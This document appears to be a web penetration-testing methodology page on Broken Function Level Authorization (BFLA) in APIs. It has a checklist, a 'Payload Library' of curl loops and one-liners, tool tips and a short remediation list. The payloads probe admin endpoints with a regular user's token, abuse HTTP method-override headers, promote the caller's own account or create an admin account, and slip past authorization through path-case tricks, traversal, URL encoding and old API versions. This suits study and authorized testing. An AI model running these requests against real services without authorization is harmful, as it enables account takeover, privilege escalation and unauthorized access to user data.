Broken Function Level Authorization (BFLA)
Severity: High–Critical | CWE: CWE-285, CWE-269 OWASP API Top 10: API5:2023 – Broken Function Level Authorization
What Is BFLA?
BFLA (Broken Function Level Authorization) occurs when users can access functions/endpoints they shouldn’t based on their role — e.g., a regular user calling admin APIs. Unlike BOLA (accessing another object), BFLA is about accessing privileged operations.
Regular user token → GET /api/users/me → 200 OK (correct)
Regular user token → GET /api/admin/users → should be 403
→ but returns 200 with all users → BFLA
Or:
Regular user → DELETE /api/users/1337 → should be 403
→ returns 204 No Content → BFLA
Discovery Checklist
- Map all endpoints from JS, Swagger/OpenAPI, API docs, traffic
- Identify admin/privileged endpoints:
/admin,/internal,/manage,/staff - Test all “restricted” endpoints with low-privilege token
- Test all HTTP methods on every endpoint (GET→POST→PUT→PATCH→DELETE)
- Test API version downgrade (v2 protected, v1 not)
- Test HTTP method override headers
- Test path confusion (capitalization, trailing slash, double slash)
- Test direct object manipulation to trigger privileged operations
- Compare responses: authenticated admin vs authenticated user
- Test GraphQL mutations with user token (see 83_GraphQL_Full.md)
Payload Library
Attack 1 — Admin Endpoint Access
# Test admin paths with regular user token:
ENDPOINTS=(
"/admin/users"
"/admin/settings"
"/api/admin/dashboard"
"/api/v1/admin/users"
"/management/users"
"/internal/config"
"/staff/reports"
"/superadmin"
"/api/users?role=admin" # role filter
"/api/audit-log"
"/api/system/health/debug"
)
for path in "${ENDPOINTS[@]}"; do
status=$(curl -so /dev/null -w "%{http_code}" \
"https://target.com$path" \
-H "Authorization: Bearer REGULAR_USER_TOKEN")
echo "$path: $status"
done
Attack 2 — HTTP Method Exploitation
# Server only protects specific methods:
# GET /api/users/1 → 403 (protected read)
# DELETE /api/users/1 → 204 (DELETE not protected)
# PUT /api/users/1 + body → 200 (PUT not checked)
for method in GET POST PUT PATCH DELETE HEAD OPTIONS TRACE; do
result=$(curl -so /tmp/resp -w "%{http_code}" \
-X "$method" "https://api.target.com/v1/admin/users" \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}')
echo "$method: $result $(cat /tmp/resp | head -c 100)"
done
# HTTP method override (when firewall only allows GET/POST):
curl -X POST "https://api.target.com/v1/users/1" \
-H "X-HTTP-Method-Override: DELETE" \
-H "Authorization: Bearer USER_TOKEN"
curl -X POST "https://api.target.com/v1/users/1" \
-H "X-Method-Override: PUT" \
-H "Content-Type: application/json" \
-d '{"role": "admin"}'
# _method parameter (Rails/Laravel):
curl -X POST "https://api.target.com/v1/users/1?_method=DELETE" \
-H "Authorization: Bearer USER_TOKEN"
Attack 3 — Privilege Escalation via Function
# Escalate own privileges:
# Find: update user role function
curl -X PUT "https://api.target.com/v1/users/MY_ID" \
-H "Authorization: Bearer MY_TOKEN" \
-H "Content-Type: application/json" \
-d '{"role": "admin", "permissions": ["*"]}'
# Create admin user (registration without role check):
curl -X POST "https://api.target.com/v1/users" \
-H "Authorization: Bearer USER_TOKEN" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@evil.com","password":"pass","role":"admin","isAdmin":true}'
# Promote self via admin endpoint:
curl -X POST "https://api.target.com/v1/admin/users/MY_ID/promote" \
-H "Authorization: Bearer USER_TOKEN"
# Assign group/team with admin privileges:
curl -X POST "https://api.target.com/v1/teams/ADMIN_TEAM/members" \
-H "Authorization: Bearer USER_TOKEN" \
-d '{"user_id": "MY_ID"}'
Attack 4 — Path Confusion Bypass
# Uppercase bypass (if authorization check is case-sensitive):
curl "https://api.target.com/Admin/users" \
-H "Authorization: Bearer USER_TOKEN"
curl "https://api.target.com/ADMIN/users"
curl "https://api.target.com/aDmIn/users"
# Trailing slash / double slash:
curl "https://api.target.com/admin/users/"
curl "https://api.target.com//admin/users"
curl "https://api.target.com/api//admin/users"
# Path traversal to reach admin:
curl "https://api.target.com/api/users/../admin/users" \
-H "Authorization: Bearer USER_TOKEN"
curl "https://api.target.com/api/v1/users/../../admin/users"
# URL encoding:
curl "https://api.target.com/%61dmin/users" # a → %61
curl "https://api.target.com/adm%69n/users" # i → %69
curl "https://api.target.com/%2fadmin%2fusers" # encoded slashes
Attack 5 — API Version Downgrade
# v2 is protected but v1 is legacy and unprotected:
curl "https://api.target.com/v2/admin/users" \
-H "Authorization: Bearer USER_TOKEN" # → 403
curl "https://api.target.com/v1/admin/users" \
-H "Authorization: Bearer USER_TOKEN" # → 200?
# Test multiple version formats:
for v in v1 v2 v3 v0 beta alpha 1 2 3; do
status=$(curl -so /dev/null -w "%{http_code}" \
"https://api.target.com/$v/admin/users" \
-H "Authorization: Bearer USER_TOKEN")
echo "/$v/: $status"
done
# Accept-Version header:
curl "https://api.target.com/admin/users" \
-H "Authorization: Bearer USER_TOKEN" \
-H "Accept-Version: v1"
Tools
# AuthMatrix (Burp extension):
# Define roles, assign tokens, map endpoints
# Auto-test all combinations → shows unauthorized access
# Autorize (Burp extension):
# Replay every request with lower-privilege token
# Highlights responses that match → potential BFLA
# ffuf for endpoint discovery:
ffuf -u "https://target.com/FUZZ" \
-H "Authorization: Bearer USER_TOKEN" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-seen-in-wild.txt \
-mc 200,201,204 -o results.json
# Param Miner (Burp):
# Discover hidden parameters that control function access
# Manual script — test all methods × all endpoints:
python3 -c "
import requests, itertools
token = 'USER_TOKEN'
endpoints = ['/admin/users', '/admin/settings', '/api/export']
methods = ['GET', 'POST', 'PUT', 'PATCH', 'DELETE']
headers = {'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'}
for ep, m in itertools.product(endpoints, methods):
r = requests.request(m, f'https://target.com{ep}',
headers=headers, json={}, timeout=5)
if r.status_code not in (403, 405):
print(f'[!] {m} {ep} → {r.status_code}')
"
Remediation Reference
- Centralized authorization layer: all function-level access decisions in one place (middleware/policy engine)
- Default deny: every function access denied unless explicitly granted to role
- Role-based access control (RBAC): define roles with explicit function permissions, check on every call
- Do not rely on UI hiding: removing admin buttons from UI is not access control — enforce at API level
- Audit all HTTP methods per endpoint — not just GET/POST
- API version retirement: decommission old API versions; redirect with
410 Goneand enforce same auth controls until removal - Regular access control audits: use automated tools like AuthMatrix in CI/CD pipeline
Part of the Web Application Penetration Testing Methodology series.